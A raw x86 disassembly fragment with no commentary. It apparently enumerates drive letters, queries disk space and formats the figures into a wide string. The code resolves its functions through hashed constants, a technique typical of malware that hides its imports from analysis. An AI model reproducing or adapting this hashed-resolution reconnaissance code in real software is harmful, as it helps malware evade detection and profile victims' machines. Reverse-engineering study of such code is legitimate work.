lea ecx, [ebp - 0x274]
push ecx
push esi
call eax
push 0x5c
pop eax
push dword [ebp + edi*4 - 0x80]
mov word [ebp - 0x270], ax
push dword [ebx + 0x7c]
call fcn.0040183e
mov esi, dword [ebx + 0x7c]
mov edi, 0x2ca1b5f0
push edi
push 1
call fcn.004010bb
add esp, 0x10
push 0x411a90
push esi
call eax
push 0x582ad579
push 1
call fcn.004010bb
pop ecx
pop ecx
lea ecx, [ebp - 0x190]
push ecx
lea ecx, [ebp - 0x18c]
push ecx
lea ecx, [ebp - 0x1ec]
push ecx
lea ecx, [ebp - 0x194]
push ecx
lea ecx, [ebp - 0x274]
push ecx
call eax
test eax, eax
je 0x40ba29
mov esi, dword [ebp - 0x194]
xor eax, eax
imul esi, dword [ebp - 0x1ec]
push eax
push esi
push eax
push dword [ebp - 0x190]
call fcn.00401030
mov ebx, eax
mov edi, edx
xor eax, eax
push eax
push esi
push eax
push dword [ebp - 0x18c]
call fcn.00401030
mov ecx, ebx
mov esi, edi
sub ecx, eax
mov eax, dword [ebp - 0x1f0]
mov dword [ebp - 0x1e8], ecx
sbb esi, edx
push dword [eax + 0x7c]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x1f0]
add eax, eax
push edi
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
push ebx
mov ecx, dword [ecx + 0x7c]
add ecx, eax
push 0x411a94
push ecx
call edi
mov ebx, dword [ebp - 0x1f0]
add esp, 0x10
push dword [ebx + 0x7c]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebx + 0x7c]
add eax, eax
push esi
push dword [ebp - 0x1e8]
add ecx, eax
push str._I64u
push ecx
call edi
mov esi, dword [ebx + 0x7c]
push 0x2ca1b5f0
push 1
call fcn.004010bb
add esp, 0x18
push 0x411ab0
jmp 0x40ba3b
mov esi, dword [ebx + 0x7c]
push edi
push 1
call fcn.004010bb
pop ecx
pop ecx
push 0x411ab4
push esi
call eax
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp eax, 0x1b
jb 0x40b8b3
push dword [ebx + 0x7c]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebx + 0x7c]
xor edx, edx
mov word [ecx + eax*2 - 2], dx
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
mov esp, ebp
pop ebp
ret